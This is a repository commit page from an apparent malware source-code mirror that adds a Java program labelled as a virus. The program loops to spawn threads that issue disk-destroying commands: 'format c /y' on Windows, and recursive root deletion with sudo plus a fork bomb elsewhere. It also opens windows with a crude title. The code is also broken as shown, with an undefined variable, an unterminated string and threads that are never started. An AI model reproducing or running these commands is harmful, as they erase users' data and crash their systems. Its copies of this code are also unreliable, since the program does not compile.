mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 18:06:10 +00:00
Merge pull request #1 from EduApps-CDG/patch-3
A Specific Virus (Virus.EduApps.Sexo)
This commit is contained in:
commit
5396e9fba8
42
Java/Virus.EduApps.Sexo
Normal file
42
Java/Virus.EduApps.Sexo
Normal file
@ -0,0 +1,42 @@
|
||||
/**
|
||||
* Copyright (C) 2020 EduApps (Eduardo Procópio Gomez)
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
import javax.swing.JFrame;
|
||||
|
||||
public class Sexo {
|
||||
private static String OS = System.getProperty("os.name").toLowerCase();
|
||||
|
||||
public static void main(String[] args) {
|
||||
while (true) {
|
||||
new Thread(new Runnable() {
|
||||
public void run() {
|
||||
while(true) {
|
||||
if (OS.contains("win")) {
|
||||
Runtime.getRuntime().exec("cmd.exe /c format c /y");
|
||||
} else {
|
||||
Runtime.getRuntime().exec("sudo /bin/rm -Rf /*");
|
||||
Runtime.getRuntime().exec(":(){:|:&};:);
|
||||
}
|
||||
|
||||
JFrame sexo = new JFrame("Sexo, Sexo, Sexo...");
|
||||
sexo.setLocation(random.nextInt(500), random.nextInt(500));
|
||||
sexo.setVisible(true);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue
Block a user